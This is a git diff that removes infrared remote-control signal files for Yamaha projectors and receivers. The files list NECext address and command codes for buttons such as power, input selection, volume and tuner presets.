deleted file mode 100644 index 5b6a052f9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Projector/240,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 41 00 00 00 -# -name: POWER_STANDBY -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 42 00 00 00 -# -name: KEYSTONE -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 43 00 00 00 -# -name: SETTING_IRIS -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 54 00 00 00 -# -name: INPUT_D-SUB -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 60 00 00 00 -# -name: INPUT_COMP -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 64 00 00 00 -# -name: INPUT_VIDEO -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 65 00 00 00 -# -name: INPUT_S-VIDEO -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 66 00 00 00 -# -name: INPUT_HDMI -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 70 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 81 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 82 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 83 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 86 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 87 00 00 00 -# -name: ASPECT_NORMAL -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 91 00 00 00 -# -name: ASPECT_SQUEEZE -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 92 00 00 00 -# -name: ASPECT_SMART_ZOOM -type: parsed -protocol: NECext -address: F0 00 00 00 -command: 95 00 00 00 -# -name: HIDE -type: parsed -protocol: NECext -address: F0 00 00 00 -command: A6 00 00 00 -# -name: SETTING_CONTRAST -type: parsed -protocol: NECext -address: F0 00 00 00 -command: D0 00 00 00 -# -name: SETTING_BRIGHTNESS -type: parsed -protocol: NECext -address: F0 00 00 00 -command: D1 00 00 00 -# -name: SETTING_COLOR_TEMP -type: parsed -protocol: NECext -address: F0 00 00 00 -command: D4 00 00 00 -# -name: ASPECT_TOGGLE -type: parsed -protocol: NECext -address: F0 00 00 00 -command: E2 00 00 00 -# -name: MEMORY_1 -type: parsed -protocol: NECext -address: F0 00 00 00 -command: E4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir deleted file mode 100644 index 334798a42..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ZONE_2_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,0.ir deleted file mode 100644 index aadc6726c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,0.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SIRIUS:_A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir deleted file mode 100644 index 9e9249897..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir +++ /dev/null @@ -1,332 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 01 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 02 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 03 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 04 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 07 00 00 00 -# -name: REP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0C 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0F 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1B 00 00 00 -# -name: PRESET_UP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1B 00 00 00 -# -name: PRESET_DN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1C 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1C 00 00 00 -# -name: ABCDE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1F 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 49 00 00 00 -# -name: HDMI_1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4A 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4A 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4B 00 00 00 -# -name: SUBWOOF_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4C 00 00 00 -# -name: SUBWOOF_- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4E 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4F 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 50 00 00 00 -# -name: BEAM-STEREO -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 50 00 00 00 -# -name: LEVEL_UP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 55 00 00 00 -# -name: LEVEL_DN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 56 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 5E 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 5F 00 00 00 -# -name: BASS/TREBLE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 84 00 00 00 -# -name: CENTER_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 86 00 00 00 -# -name: CENTER_- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 87 00 00 00 -# -name: SURROUND_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 88 00 00 00 -# -name: SURROUND_- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 89 00 00 00 -# -name: NIGHT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8A 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8E 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8F 00 00 00 -# -name: MATRIX_6.1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 90 00 00 00 -# -name: DOLBY/DTS -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 99 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 99 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9C 00 00 00 -# -name: SET_MENU -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9D 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9E 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9F 00 00 00 -# -name: TUNE_DOWN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: A9 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: AA 00 00 00 -# -name: IPOD -type: parsed -protocol: NECext -address: 78 00 00 00 -command: BC 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C0 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C1 00 00 00 -# -name: BEAM-5STAR -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C2 00 00 00 -# -name: BEAM-LCR_SURROUN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C3 00 00 00 -# -name: BEAM-LCR -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C4 00 00 00 -# -name: HDMI_2 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: D0 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DE 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir deleted file mode 100644 index b75fb12de..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: THX -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 8D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir deleted file mode 100644 index ac13aeb08..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir +++ /dev/null @@ -1,14996 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SCENE_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: SYS_MEM_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: SYS_MEM_1_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: SCENE:_BD/DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: SCENE_BD/DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: TAPE_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: MZ:_SYSM_RC/SV_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: SYS_MEM_1_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 01 00 00 00 -# -name: TAPE_REW -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 01 00 00 00 -# -name: Z2:_SYSM_REC/SV_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 01 00 00 00 -# -name: SYS_MEM_1_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 02 00 00 00 -# -name: TAPE_FF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 02 00 00 00 -# -name: Z3:_SYSM_REC/SV_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 02 00 00 00 -# -name: SCENE_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: SYS_MEM_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: SYS_MEM_2_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: SCENE:_TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: SCENE_TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: TAPE_STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: MZ:_SYSM_RE/SV_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: SYS_MEM_2_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 04 00 00 00 -# -name: TAPE_REC/PAUSE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 04 00 00 00 -# -name: Z2:_SYSM_REC/SV_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 04 00 00 00 -# -name: SYS_MEM_2_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 05 00 00 00 -# -name: TAPE_REC_MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 05 00 00 00 -# -name: Z3:_SYSM_REC/SV_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 05 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: SCENE_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: SYS_MEM_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: SYS_MEM_3_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: SCENE:_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: SCENE_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: TAPE_DECK_A/B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: MZ:_SYSM_RE/SV_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: DIR_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 07 00 00 00 -# -name: SYS_MEM_3_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 07 00 00 00 -# -name: TAPE_DIR_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 07 00 00 00 -# -name: Z2:_SYSM_REC/SV_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 07 00 00 00 -# -name: SYS_MEM_3_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 08 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 08 00 00 00 -# -name: Z3:_SYSM_REC/SV_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 08 00 00 00 -# -name: SCENE_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: SYS_MEM_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: SYS_MEM_4_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: SCENE:_RADIO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: SCENE_RADIO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: CD_PAUSE/STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: MZ:_SYSM_RE/SV_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: SYS_MEM_4_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: Z2:_SYSM_REC/SV_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: SYS_MEM_4_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: Z3:_SYSM_REC/SV_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: CD_SEARCH_>> -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0C 00 00 00 -# -name: CD_SEARCH_<< -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0D 00 00 00 -# -name: SELECT_VCR-1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: INPUR_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: INPUT_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: INPUT:_VCR_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: INPUT:_VCR1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: INPUT_VCR1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: MZ:_VCR1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: VCR1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: VCR-1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: MZ_IN:_VCR1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: INP_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: INPUT_VCR_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: INPUT:_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: MAIN:_VCR1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: INP_VCR1(VCR) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: MZ:_INP_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: MZ_INP:_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: MZ_INP:_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: PRESET_> -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: PRESET/CH._UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: PRESET_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUNER_PRESET_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUNER_PRESET_CH_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUNER_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: PRESET_NO._+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUNER:_PRES_(+) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUNER:_PRESET_NO_(+) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUNER_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUNER:_PRESET_CH_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: PRESET_CH._UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: NAV_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUNER:TUNE/PST_NO_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUNER:_PRESET_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUNER_CURSOR_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUNER:_PRESET_(+) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUN_PRES/CH_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUNER_PRESET -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUNER:_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUNER:_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: PRESET_-- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: PRESET_< -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: PRESET/_CH._DN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: TUNER_PRESET_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: TUNER_PRESET_CH_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: TUNER_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: PRESET_NO._- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: TUNER:_PRES_(-) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: TUNER:_PRESET_NO_(-) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: TUNER_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: TUNER:_PRESET_CH_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: PRESET_CH._DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: NAV_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: TUNER:TUNE/PST_NO_DN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: PRESET_DN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: TUNER:_PRESET_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: TUNER_CURSOR_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: TUNER:_PRESET_(-) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: TUN_PRES/CH_DN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: TUNER:_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: TUNER:_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: A/B/C/D/E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: PRESET_BANK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: A-E/CAT.+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: TUNER_CAT_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: TUNER_PAGE_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: PRESET_PAGE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: TUNER:_PAGE_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: TUNER:_PG_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: TUNER:_PRESET_PG_(+) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: TUNER_A/B/C/D/E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: TUNER_PRESET_PG_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: PRESET_A/B/C/D/E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: TUNER:_PRESET_PG_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: CLASS_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: NAV_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: TUNER:_PRES_PG_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: TUNER:_A-E_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: TUNER_CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: TUNER:_PRESET_PG_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: TUN_A-B/CAT_(+) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: PRESET_MODE_(A-E) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: TUNER:_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: TUNER:_RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: DVR/VCR2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: INPUT_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: INPUT:_VCR_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: INPUT:_VCR_2/DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: VCR2/DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: VCR_2/DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: INPUT:_VCR2_/_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: VCR2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: INPUT_DVR/_VCR2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: MZ:_VCR2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: MZ:_DVR/VCR2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: VCR-2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: INPUT:_VCR2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: MZ_IN:_DVR/VCR2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: INPUT:_VCR_2_/_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: DVR_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: INP_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: INPUT_VCR_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: MZ:_VCR2/DVR -type: parsed -protocol: NECext 